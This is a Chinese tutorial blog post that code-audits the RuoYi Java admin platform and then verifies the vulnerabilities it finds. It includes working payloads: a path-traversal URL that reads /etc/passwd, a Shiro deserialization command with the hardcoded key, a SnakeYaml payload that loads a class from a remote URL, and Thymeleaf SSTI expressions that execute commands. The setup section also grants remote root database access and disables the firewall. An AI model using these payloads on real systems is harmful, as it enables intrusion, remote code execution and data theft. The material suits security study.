前言:
【如需转载,请详细表明来源,请勿设置原创】
嗨,大家好,我是闪石星曜CyberSecurity创始人Power7089。
欢迎大家搜索关注 “闪石星曜CyberSecurity” ,这里专注分享渗透测试,Java代码审计,PHP代码审计等内容,都是非常干的干货哦。
炼石计划理念:一个系统化从入门到提升学习的成长型知识星球。这里不仅注重夯实基础,更加专注实战进阶。
今天为大家带来的是一篇实战代码审计若依管理系统的一篇文章,若依管理系统也是现在比较常用的一个系统了。非常有必要好好学习研究一下。
一、项目简介
RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。
内置功能详解如下:
- 用户管理:用户是系统操作者,该功能主要完成系统用户配置。
- 部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。
- 岗位管理:配置系统用户所属担任职务。
- 菜单管理:配置系统菜单,操作权限,按钮权限标识等。
- 角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。
- 字典管理:对系统中经常使用的一些较为固定的数据进行维护。
- 参数管理:对系统动态配置常用参数。
- 通知公告:系统通知公告信息发布维护。
- 操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。
- 登录日志:系统登录日志记录查询包含登录异常。
- 在线用户:当前系统中活跃用户状态监控。
- 定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。
- 代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。
- 系统接口:根据业务代码自动生成相关的api接口文档。
- 服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。
- 缓存监控:对系统的缓存查询,删除、清空等操作。
- 在线构建器:拖动表单元素生成相应的HTML代码。
- 连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。
二、项目搭建
1、环境要求
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0
2、Windows环境的项目部署流程
基于windows10操作系统。
①、命令行进入Mysql,创建数据库名为
ry
,并切换使用该数据库。
create datavase ry; 创建名为ry的数据库
use ry; 切换使用ry数据库
②、将项目文件中的
/sql/ry_20200323.sql
的数据导入到
ry
数据库,注意导入路径中应使用正斜杠
/
。
source /绝对路径/sql/ry_20200323.sql; 导入数据库文件
③、使用IDEA打开本项目,等待Maven自动加载依赖项,如果时间较长需要自行配置Maven加速源。几个现象表明项目部署成功。
pom.xml
文件无报错,项目代码已编译为
class
,
Run/Debug Configurations...
处显示可以运行。
④、修改
src\main\resources\application-druid.yml
配置文件内容,具体如下图所示:
⑤、点击启动
Run/Debug Configurations...
本项目。
⑥、项目访问地址如下:
- 后台地址:
http://127.0.0.1:8088/login
记得自己配下端口号,默认的是80端口。
⑦、登录账号密码
admin\admin123
。
3、Linux环境的项目部署流程
基于VMware虚拟机中的搭建的Ubuntu20操作系统
注意:以下步骤需要Ubuntu系统中安装所需的软件,可参考星球之前发的一篇文章:
https://t.zsxq.com/Ea6qF6Y
本项目的默认打包方式就是JAR形式。并且本项目构建为SpringBoot多模块形式。我们所需要的运行的Jar程序打包在了
RuoYi-v4.2/ruoyi-admin/target
目录下。
整体部署流程如下:
①、使用IDEA打开项目,我们修改一下数据源链接地址。如下图所示:
我为了方便,将数据源直接连接到了Windows下mysql,也就是PHPstaduy一键启动的。如果你也想这样做,请注意以下几点:
- 宿主机和虚拟机需要在同一网段下,简单来说就是能互相ping通。
- Mysql启用远程访问,命令如下:
GRANT ALL PRIVILEGES ON *.* ‘root’@’%’ identified by ‘root’ WITH GRANT OPTION;
flush privileges;
②、使用Maven打包项目,选择若依总项目,依次点击
clean
和
package
,如下图所示:
③、我们将最终生成的
ruoyi-admin.jar
文件,复制粘贴到Ubuntu中。
④、在此,我们使用
sudo java -jar ruoyi-admin.jar
运行项目。如下图所示:
⑤、最后我们就可以正常访问了。
⚠️注意:
java -jar
启动若依项目需要管理员权限,因此要在前面加上sudo
,如果报错说找不到命令。需要修改/etc/sudoers
文件中Defaults secure_path
位置,在后面加上java路径,如下图所示:
sudo vim /etc/sudoers 打开该文件
- 如果想要在其他环境中访问ruoyi,需要关闭防火墙,或者激活特定端口。偷个懒,直接关闭防火墙。
sudo ufw disable 关闭防火墙
三、代码审计漏洞挖掘
1、第三方组件漏洞审计
本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打开该若依,发现本项目采用了多模块方式。因此每个模块下都会有一个pom.xml,项目最外层的pom.xml为父POM。我们可以通过
pom.xml
或者
External Libraries
来确定引入组件的版本,具体整理如下:
组件名称组件版本是否存在漏洞shiro1.4.2存在thymeleaf2.0.0存在druid1.1.14不存在mybatis1.3.2不存在bitwalker1.19不存在kaptcha2.3.2不存在swagger2.9.2不存在pagehelper1.2.5不存在fastjson1.2.60存在oshi3.9.1不存在commons.io2.5存在commons.fileupload1.3.3不存在poi3.17存在velocity1.7存在snakeyaml1.23存在
等等。
经过整理,我们发现本项目存在漏洞的组件为:
Shiro 1.4.2
,
Thymeleaf 2.0.0
,
Fastjson 1.2.60
,
Commons.io 2.5
,
oi 3.17
,
velocity 1.7
,
snakeyaml 1.23
…
通过版本号进行初步判断后,我们还需再进一步验证。
2、组件漏洞代码审计
针对存在漏洞的组件进行代码审计
2.1、Shiro组件漏洞代码审计
本项目使用了
Shiro 1.4.2
。Shiro在
1.4.2 到 1.8.0
版本都是存在权限绕过的问题。
在代码审计中,我们主要关注
Shiro配置文件
,一般文件名为
ShiroConfig
。本项目Shiro配置文件位于
RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
。
进入Shiro配置文件,我们关注对资源访问的拦截器配置,位于
第231行 ~ 276行
。发现
第272行
作者使用了
/**
表达式,对路径进行拦截。因此,本项目不存在Shiro权限绕过的漏洞的。如下图所示:
关于shiro的拦截匹配模式,Shiro的URL路径表达式为Ant格式有如下解释:
/hello:只匹配url,比如 http://7089.com/hello
/h?:只匹配url,比如 http://7089.com/h+任意一个字符
/hello/*:匹配url下,比如 http://7089.com/hello/xxxx 的任意内容,不匹配多个路径
/hello/**:匹配url下,比如 http://7089.com/hello/xxxx/aaaa 的任意内容,匹配多个路径
2.2、Fastjson组件漏洞代码审计
本项目使用了
Fastjson 1.2.60
,
Fastjson <= 1.2.68
都是存在漏洞的。
已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数
parse
和
parseObject
。
搜索关键字发现本项目使用了
parseObject
,如下图所示:
我们发现本项目使用的是
JSONObject.parseObject
方法,与第三套迷你天猫商城中
JSON.parseObject()
方法有所不同。JSONObject是一个继承自JSON的类,当调用JSONObject.parseObject(result)时,会直接调用父类的parseObject(String text)。两者也没什么区别,一个是用父类去调用父类自己的静态的parseObject(String text),一个是用子类去调用父类的静态parseObject(String text),两者调的是同一个方法。也是可以触发Fastjson反序列化漏洞的。
下面我们追踪下流程,看看是否有接收用户输入的地方。
①、双击进入
VelocityUtils.java
,第66行。代码如下图所示:
②、从代码中看到
JSONObject.parseObject(options);
需要一个参数为
options
,该参数通过第65行发现来自
genTable.getOptions();
,ctrl加鼠标左键跟进,
getOptions()
返回值为
options
,如下图所示:
③、继续跟进
options
,根据作者注释理解这是一个
其它生成选项
的字段。如下图所示:
④、我们回过头来,追溯下功能点。跟进
setTreeVelocityContext
,发现是
prepareContext
中调用了它,如下图所示(为了便于截图展示,删除了部分代码):
其中涉及到了一个判断条件,跟进一下,看如何触发该条件。跟进
GenConstants.TPL_TREE
,看到定义了一个常量字符为
tree
。如下图所示:
再跟进下
tplCategory
,该值来自于
genTable.getTplCategory();
如下图所示:
进入
genTable.getTplCategory();
后,看到
getTplCategory()
返回值就是
tplCategory
,如下图所示:
继续跟进
tplCategory
,根据作者注释,这应该是是一个使用模板的字段。该字段应该有两个值,一个是
crud
,一个是
tree
。所以我们再找到功能点时,应该将这个字段值设为
tree
,如下图所示:
中间穿插跟了下判断条件,我们继续追踪功能点。
⑤、回到
prepareContext()
方法,我们看下谁调用了他,发现
GenTaleServiceImpl.java
中第187行和250行都有所调用,如下图所示:
⑥、单击进入
GenTaleServiceImpl.java
第187行,发现是
previewCode
方法使用了
VelocityUtils.prepareContext(table);
,其中
table参数
来自
genTableMapper.selectGenTableById(tableId);
根据
tableId
查询表信息返回的数据,如下图所示:
也就是说,我们只能操控
tableId
参数。继续跟踪一下
previewCode
,如下图所示:
⑦、(此处省略跳转到genTableService,无关紧要)ctrl加鼠标左键点击
previewCode
继续跟进,跳转到了
GenController
层,发现是
preview
使用了
genTableService.previewCode(tableId);
。如下图所示:
并且通过注释信息了解到该功能是
预览代码
,路径是
/tool/gen/preview
,从路径中获取
tableId
。
既然这样,这条链是没办法利用Fastjosn反序列化漏洞了。
不放弃再试试,找条别的链。
追踪了刚才搜索的四个点,发现
GenTaleServiceImpl.java
第286行这个参数也是我们可以操控的。
追踪流程如下。(需要tplCategory=tree才能进入该方法)
①、
GenTaleServiceImpl.java
第286行
JSONObject.parseObject(options);
处理
options
参数,该值来自
String options = JSON.toJSONString(genTable.getParams());
,如下图所示:
②、跟进
genTable.getParams()
,跳转到了
BASEEntity.java
代码中,因为
Gentable
继承
BASEEntity
。(此处写错了,看成set方法了,去看一眼set发现没有什么多余动作,传什么返回什么)根据判断条件,如果
params不等于null
的话,直接返回
params
。跟进
params
,注释表明该字段为
请求参数
,并且
params
被定义成
Map<String, Object>
,可以理解为params字段中可以传任何类型的值在里面。如下图所示(为便于截图展示,删除了部分代码):
③、回到
GenTaleServiceImpl.java
,查看谁调用了
validateEdit
,跳转到了
IGenTaleService
第99行处,如下图所示:
④、继续跟进
validateEdit
,跳转到了
GenController
层第142行,如下图所示:
至此,我们将这条链追踪完了。确定了功能点为代码生成处的
修改保存生成业务
,该路径部分为
edit
,完整路径为
/tool/gen/edit
,请求方法为POST,并且主要关注
params
这个字段。
2.3、SnakeYaml组件漏洞代码审计
SnakeYaml在Java中,是用于解析YAML格式的库。
在第三方组件漏洞审计处,确定了SnakeYaml版本为1.23,被定为存在漏洞。
事实上,SnakeYaml几乎全版本都可被反序列化漏洞利用。
2.3.1、漏洞简述
SnakeYaml支持反序列化Java对象,所以当
Yaml.load()
函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
全局搜索漏洞函数关键字,发现本项目并没有使用到
Yaml.load()
函数,如下图所示:
提前透露下,该漏洞可以和本项目定时任务配合打出RCE效果。
在这之前,请大家拓展学习下篇文章,补一下基础。
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
该部分漏洞验证将在渗透测试漏洞挖掘章节中配合定时任务功能进行讲述。
2.4、Thymeleaf组件漏洞代码审计
在第三方组件漏洞审计时,了解到Thymeleaf组件版本为
2.0.0
,该版本存在SSTI(模板注入)漏洞。
关于什么是Thymeleaf,推荐学习这篇文章:
https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/introduction.html
2.4.1、什么是SSTI(模板注入)漏洞
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
所谓的模板即为
模板引擎
。
本项目使用的Thymeleaf是众多模板引擎之一。还有其他Java常用的模板引擎,如:velocity,freemarker,jade等等。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板加上用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板注入(SSTI)漏洞成因,是因为服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
2.4.2、Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用
th:fragment、
,
th:text
这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用
${...}
或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到
${...}
表达式中,会触发Thymeleaf模板注入漏洞。
如果带有
@ResponseBody
注解和
@RestController
注解则不能触发模板注入漏洞。因为
@ResponseBody
和
@RestController
不会进行View解析而是直接返回。所以这同样是修复方式。
2.4.3、发现SSTI(模板注入)漏洞点
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。
在Controller层,我们关注两点:
1、URL路径可控。
,
2、return内容可控。
所谓可控,也就是接受输入。对应上面两个关注点,举例说明如下。
1、URL路径可控
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name, @PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
2、return内容可控
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
视角转回到本项目。
根据上面两个关注点,对
若依v4.2
进行了一番探索。并没有发现存在Thymeleaf模板注入漏洞点。
但在
若依v4.7.1
发现存在
return内容可控
的情况。为了学习该漏洞,下面以
若依v4.7.1
版本进行Thymeleaf模板注入代码审计学习。
在
若依v4.7.1
的
RuoYi-v4.7.1\ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor
下多了一个
CacheController.java
文件。该文件下有多个地方
Return内容可控
,如下图所示:
简单理解:接收到
fragment
后,在return处进行了模板路径拼接。
根据代码我们知道根路径为
/monitor/cache
,各个接口路径分别为
/getNames
,
/getKeys
,
/getValue
。请求方法为
POST
,请求参数均为
fragment
。
知道了这些内容,我们在渗透测试部分进行漏洞验证。
系统还有存在其他漏洞点,大家可以自由发挥找一找。
3、单点漏洞审计
3.1、SQL注入漏洞代码审计
单点漏洞代码审计首当其冲当然要先看SQL注入漏洞是否存在,全局搜索关键字
$
,并限定文件类型为
.xml
,发现
sysDeptMapper.xml
和
sysUserMapper.xml
有存在SQL注入的地方,如下图所示:
挑个幸运的Mapper小伙伴,追踪下流程,找到他的注入点。
那就选择
SysRoleMapper.xml
这个吧,刚刚搜索结果他们没在一起。如下图所示:
①、点击进入
SysRoleMapper.xml
,SQL注入点在第58行,使用
$
直接拼接了参数,如下图所示:
②、点击左侧箭头快速跳转到DAO层(IDEA中需要安装Free Mybatis plugin插件),如下图所示:
③、键盘按住Ctrl加鼠标左键,点击
selectRoleList
,查看谁调用了它。最终来到
SysRoleServiceImpl
的实现层,如下图所示:
④、进入
SysRoleServiceImpl
后,再回溯到
SysRoleService
层,可使用左侧快速跳转按钮。或者选中
selectRoleList
后使用快捷键
ctrl+u
,如下图所示:
⑤、键盘按住Ctrl加鼠标左键,点击
selectRoleList
,回溯到
Controller
层,最终发现是
SysRoleController
调用了这个方法,如下图所示:
⑥、点击进入,最终定位到
src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
,第58行和第68行都有调用,如下图所示:
⑦、键盘按住Ctrl加鼠标左键,点击
SysRole
,进入看看定义了哪些实体类,其中发现了
DataScope
,如下图所示:
⑧、回顾追溯流程
回顾下整理流程,如下所示:
sysRoleMapper.xml
->
SysRoleMapper.java
->
SysRoleServiceImpl.java
->
ISysRoleService.java
->
SysRoleController.java
简单说,我们从
XxxxMapper
文件追踪到
Controller
层,主要就是在找漏洞入口。顺带看看整个流程是否对参数有特殊处理。
⑨、汇总信息
最后,我们将追溯的过程,以及有用的信息汇总一下。
- 通过Controller层,我们可以知道,漏洞URL路径为
/system/role/list
- 通过Service层和Controller层的注释,我们大致知道该功能位于角色信息处。
大致知道这些信息后,下一步访问WEB页面,找找这个功能,并通过渗透测试验证一下。
剩下几个还存在SQL注入漏洞的地方,追溯过程留作业给你们。务必动手操作,加深印象。举一反三,形成笔记后,并提交到对应的作业处。
3.2、Shiro密钥硬编码代码审计
在看Shiro配置文件时,发现了Shiro密钥硬编码写在了代码文件中。代码位于
RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
,第331行。如下图所示:
在黑盒测试中,我们常使用爆破的方式来探测目标是否使用了常见的弱密钥。
但在代码审计我们可以直接通过搜索关键字
setCipherKey
,来看看密钥是否硬编码在了代码中。
攻击者在知道了密钥后,就可以构造恶意payload,经过序列化、AES加密、base64编码操作加工后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。
既然我们从代码处知道了密钥,那么我们就可以直接对他进行反序列化攻击了。
3.3、定时任务功能漏洞代码审计
在项目简介中,我们了解到本项目中有使用到定时任务功能。
又根据官方文档的文件结构处,我们了解到本项目定时任务功能在
ruoyi-quartz
模块下,使用的是
quartz
框架。如下图所示:
进入
ruoyi-quartz
模块
src\main\java\com\ruoyi\quartz
下,我们先关注
controller
文件代码。我们知道
Controller
也是控制层,主要负责具体的业务模块流程的控制,简单说就是与前台互交,接受前台传来的参数后,再向
Service层
传输。
打开
controller
文件下,有两个代码文件,分别是
SysJobController
和
SysJobLogController
。根据代码注释了解了大致作用,如下图所示:
现在,我们对
SysJobController下的run方法
进行追踪,根据注释该方法为任务调度立即执行一次,如下图所示:
Ctrl加鼠标左键点击
jobService.run(job)
,进入Service层后,无其他执行代码,继续跟踪到实现层,最终代码位于
RuoYi-v4.2\ruoyi-quartz\src\main\java\com\ruoyi\quartz\service\impl\SysJobServiceImpl.java
第180行到188行。如下图所示:
第182,183行作用为通过调度任务ID查询调度信息。
第185行,实例化了
JobDataMap
。
JobDataMap
通过它的超类 org.quartz.util.DirtyFlagMap 实现了java.util.Map 接口,你可以向 JobDataMap 中存入键/值对,那些数据对可在你的 Job 类中传递和进行访问。这是一个向你的 Job 传送配置的信息便捷方法。简单说,Job 运行时的信息保存在
JobDataMap
实例中。
最终在第187行,使用
scheduler.triggerJob(JobKey var1, DataMap var2)
为触发标识JobDetail(立即执行)。
JobDetail
用来描述Job的实现类及其它相关的静态信息,如Job名字、描述、关联监听器等等信息。其中
triggerJob()
方法需要两个参数,分别为
Jobkey
和
dataMap
。
dataMap
来自上面输入的运行时信息。而此处的
Jobkey
是JobDetail创建的的唯一标识。简单说,到了这就开始执行定时任务了。
但最终方法的调用是在
QuartzDisallowConcurrentExecution
或
QuartzJobExecution
中用
JobInvokeUtil.invokeMethod(sysJob);
反射完成的。
QuartzDisallowConcurrentExecution
或
QuartzJobExecution
两者区别根据代码注释可以知道一个禁止并发执行,一个允许并发执行。这两个参数也是可以从前端中设置的。但不论那种,最终都是调用的
JobInvokeUtil.invokeMethod(sysJob);
。
进入
JobInvokeUtil.invokeMethod(sysJob);
,最终方法实现如下图所示:
解读一下。
①、第25行到28行,为获取处理数据,打个端点可以直观看出来,如下图所示(建议自己动手操作看一下):
②、第30到39行,有一个判断。若依支持两种方式调用,分别为支持
Bean
调用和
Class
类调用。此处判断我理解为通过
beanname
判断是否为有效的classname。也就是调用目标字符串是使用
bean
方式调用,还是使用
Class
方式调用。
此处,可以创建两种方式的目标字符串后,在
if (!isValidClassName(beanName))
处打个断点,分别执行跟踪一下,就能看明白了。
另一种调用方式,大家动手自己打个断点操作一下。进入管理系统,访问
系统监控 - 定时任务
,选择bean方式调用的任务,点击
更多操作 - 执行一次
。
至此,定时任务流程到这就结束了。他是如何RCE的呢?老规矩,在渗透测试部分我们进行验证。
3.4、任意文件读取/下载漏洞代码审计
一般开发人员也都有比较好的习惯,对于注释方面写的也比较清楚。
我拿到一个项目,习惯大致浏览下项目代码(主要看注释),梳理下功能。
在本项目中,发现存在一处下载功能。
代码位于
RuoYi-v4.2\ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
第96行-第111行。通过注释一目了然该部分代码的作用。如下图所示:
通过全局搜索关键字
resourceDownload
,发现并没有其他功能调用他。
既然这样,只能分析代码,自己构造请求了。
①、首先,漏洞代码点位于第118行,使用了
FileUtils.writeBytes()
方法输出指定文件的byte数组,即将文件从服务器下载到本地。其中该函数中有两个参数,分别为
downloadPath
和
response.getOutputStream()
。
**
getOutputStream()
方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。**
②、
downloadPath
来自第103行,是由
localPath
和
StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
组成。
**
StringUtils.substringAfter()
方法为取得指定字符串后的字符串**。
resource
是请求中接收参数的字段。
Constants.RESOURCE_PREFIX
为设置的常量
/profile
,主要作用为资源映射路径的前缀。
③、
localPath
来自第101行注释为
本地资源路径
,通过打个端点,我们可以看到
localPath: D:/ruoyi/uploadPath
,是从
src\main\resources\application.yml
配置文件中第12行文件路径中获取的。如下图所示:
④、通过第96行,知道接口路径为
/common/download/resource
,仅接受GET请求。
⑤、通过第97行,
String resource
知道接收参数值的为
resource
。
汇总下信息。首先应该知道,处理整个文件流程,是没有任何防护的。
根据接口路径和接收参数字段组合为
/common/download/resource?resource=
。
根据
StringUtils.substringAfter()
方法为取得指定字符串后的字符串,其中指定的字符串为
/profile
。也就是取得
/profile
之后的字符串。
那么最终,漏洞Payload为
http://127.0.0.1/common/download/resource?resource=/profile/../../../../etc/passwd
。具体几个
../
要看实际设置目录的深度。
下面我们从渗透测试部分进行漏洞验证。
四、渗透测试漏洞挖掘
1、SQL注入漏洞验证
1.1、漏洞简述
通过代码审计,我们了解到角色相关的功能下展示角色信息列表处存在SQL注入。
访问WEB页面,发现名叫
角色管理
的功能。
当然了,如果我们没有找到功能,也完全可以自己构造数据包。
1.2、漏洞验证
①、访问
角色管理
功能,通过点击下面的各个按钮,并配合BurpSuite抓包,发现
搜索
功能,会向
/system/role/list
接口发送数据,如下图所示:
②、发送到Repeater模块,发现请求Body中没有
DataScope
,没关系,我们照葫芦画瓢自己添加上,最终如下图所示:
③、输入
单引号(')
,验证是否存在漏洞,发现返回了报错信息,如下图所示:
④、直接上SQLMAP,不多费时了,最终结果如下图所示:
2、Shiro反序列化漏洞验证
2.1、漏洞简述
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
尽管官方更新了很多版本,但还是没有将反序列化的本身问题解决。后续版本使用了每次生成一个密钥的方法来解决该漏洞。但是由于开源系统,或者教学代码范例常将弱密钥硬编码等原因,因此导致很多开发人员疏忽,经验不足而导致该问题的产生。
通过查看pom.xml文件我们确定了Shiro版本为
1.4.2
。
Shiro 1.4.2
版本对于Shiro反序列化来说是个分水岭。由于CVE-2019-12422漏洞的出现,也就是Shiro Padding Oracle Attack漏洞。Shiro在1.4.2版本开始,由
AES-CBC
加密模式改为了
AES-GCM
。所以我们在做漏洞验证时,要将payload改成
AES-GCM
加密模式。
2.2、漏洞验证
在黑盒测试中,我们可以在Cookie中添加
rememberMe=123
,如果响应
Set-Cookie
头返回
rememberMe=deleteMe
,那么就可可以确定该系统使用了Shiro框架。如下图所示:
下面我们使用攻击脚本进行漏洞验证,该脚本在已添加至附件中。
⚠️该脚本基于Python3,在命令行中执行
pip3 install pycryptodome
,安装所需依赖包。
①、探测常见的弱密钥,执行命令如下:
python3 shiro-exploit.py check -u http://xxx/ 可以使用 -v来指定版本,默认是两个都探测,在黑盒测试中不必指定版本。
②、攻击AES-GCM加密模式的Shiro:
python3 shiro-exploit.py echo -g CommonsCollectionsK1 -u http://192.168.12.157:9999/ -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami
剩下的自己尽情发挥。
详细使用说明及教程,参考项目原地址:
https://github.com/Ares-X/shiro-exploit
3、Fastjson漏洞验证验证
3.1、漏洞简述
在代码审计处发现该项目使用了存在漏洞版本的Fastjson。在代码审计处,我们确定了功能点为代码生成处的
修改保存生成业务
,该路径部分为
edit
,完整路径为
/tool/gen/edit
,请求方法为POST,并且主要关注
params
这个字段。
3.2、漏洞验证
进入若依管理后台。访问
系统工具-代码生成-导入
,先随便导入一个表,如下图所示:
⚠️注意:访问导入功能报错,如下图所示:
这是因为是mysql自带的表information_schema.tables,与若依系统的表进行了关联查询。
而information_schema用的是utf8_general_ci编码排序,若依建数据库时,默认选了utf8_unicode_ci。
需要我们在创建若依数据库时将编码格式改为utf8_general_ci,如下图所示:
create database ry
default character set utf8
default collate utf8_general_ci;
一个小插曲,继续漏洞验证…
4、任意文件读取/下载漏洞验证
4.1、漏洞简述
在
第三章 3.4 任意文件读取/下载漏洞代码审计
处,通过代码审计角度发现本系统存在任意文件读取/下载漏洞。现在,我们从渗透测试角度进行验证。
4.2、漏洞验证
我们使用的是Linux环境启动的本项目。具体启动部署请跳跃到
第二章 3、Linux环境的项目部署流程
处。
务必请注意以下两项:
①、在
RuoYi-v4.2\ruoyi-admin\src\main\resources\application.yml
配置文件中修改linux配置路径为
/home/ruoyi/uploadPath
(未在Linux部署时说明,此时应注意),如下图所示:
②、在Linux系统的
/home
目录下创建
/ruoyi/uploadPath
。
启动项目,开始验证。
①、登录后台,此时用Burp随便抓个包。
②、使用代码审计构造出的payload进行构造请求,如下图所示:
③、点击发送数据包,即可看到
/etc/passwd
文件内容,如下图所示:
5、定时任务处漏洞验证
5.1、漏洞简述
在对定时任务代码审计时发现该功能存在漏洞。在
添加任务->调用目标字符串
处可操作class类,通过代码审计发现使用的反射方式,也就是说目标class类存在漏洞的话即可利用反射触发RCE漏洞。
5.2、漏洞验证
我们使用的是Linux环境启动的本项目。具体启动部署请跳转到
第二章 3、Linux环境的项目部署流程
。
在代码审计处,我们知道如果是调用class类,最终执行为
Object bean = Class.forName(beanName).newInstance();
。
问题来了,如果此处想要成功实例化并且RCE的话,那么必须满足几个条件:
1、类的构造方法为Public
2、类的构造方法无参
3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
4、调用目标方法除了为Public,无参,还需要具有执行代码/命令的能力
有的朋友一开始会想到调用
java.lang.Runtime.getRuntime().exec("")
。但经过上面条件的梳理,发现该类不满足条件,因为他的构造方法是private。
不知道大家还记得
SnakeYaml组件漏洞代码审计
不。
在组件检测时发现了本项目使用了
SnakeYaml
。经过学习我们知道,该组件只要可以控制
yaml.load()
即可触发反序列漏洞。
经过探索学习,
SnakeYaml的yaml.load()
是满足以上条件的,具体操作如下。
5.2.1、基础验证
①、先登录DNSlog平台,获取一个DNSlog地址。
②、然后进入后台,访问
系统监控-定时任务
功能,点击新增,在目标字符串下添加如下内容(即攻击payload):
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地址"]]]]')
③、点击确定后,在该页面点击
更多操作-立即执行
后,即可在DNSlog处看到探测信息,如下图所示:
5.2.2、利用工具进一步攻击
推荐一款若依一键利用工具。项目地址:
https://github.com/passer-W/Ruoyi-All
根据该工具介绍如下图所示:
我将该工具与本篇课程一起打包分享了出来,纯官方下载,放心使用。
①、打开该工具后,填写一些配置,其中包括目标URL和Cookie,如下图所示:
②、然后点击确定,即开始漏洞检测。存在漏洞提示如下图所示:
⚠️注意:关于该漏洞进一步利用留个作业,大家务必动手研究一下,并形成学习文档提交到第五期作业处。不要仅仅以为自己看了就学会了。
6、Thymeleaf模板注入漏洞验证
6.1、漏洞简述
在代码审计处,我们发现
若依v4.7.1
存在Thymeleaf模板注入漏洞,并且存在return内容可控的漏洞点,我们通过渗透测试角度进行漏洞验证。
6.2、漏洞验证
Thymeleaf模板注入payload举例:
return内容可控:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
本次漏洞验证我在Windows环境下进行的。
⚠️注意:
若依v4.7.1
搭建部署与
若依v4.2
相同,数据库导入务必使用
sql
目录下的
ry_20210924.sql
和
quartz.sql
。先导入
ry_20210924.sql
。
我们以
getKeys
接口为例,该漏洞点为
return内容可控
,具体漏洞验证如下。
①、正常启动项目,进入后台。我们发现在
系统监控
下有个
缓存监控
的功能,和代码审计发现的
CacheControlle
代码文件中功能注释一样。初步确定两者相同。
②、访问缓存监控功能。进入后,分别点击
缓存列表
和
键名列表
旁的刷新按钮,会分别想
getNames
,
getKeys
接口发送数据。如下图所示:
③、将数据包发送到Repeater模块,在
fragment
参数后构造攻击payload为
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe")}__::.x
,对paylod进行URL编码后。发送数据包。响应报错,而且并没有弹出来计算器。如下图所示:
找了半天原因,发现
若依v4.7.1
版本使用的是
Thymeleaf3.0.12
版本。
官方在这个版本进行了一些限制,比如使用new实例化,静态方法调用都被限制了。还有其他一些限制,详细可看
https://github.com/thymeleaf/thymeleaf/issues/809
。下图为谷歌机翻,大致可以看一下。
因此,我们刚开始用的Payload是被限制了。
经过一顿操作猛如虎,其实谷歌就能有。
我们将Payload改造一下,如
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
。在T和(之间多加几个空格即可。
对Payload进行URL编码后,放入
fragment
参数中,可以看到弹出了计算器,如下图所示:
over~
版权归原作者 Power7089 所有, 如有侵权,请联系我们删除。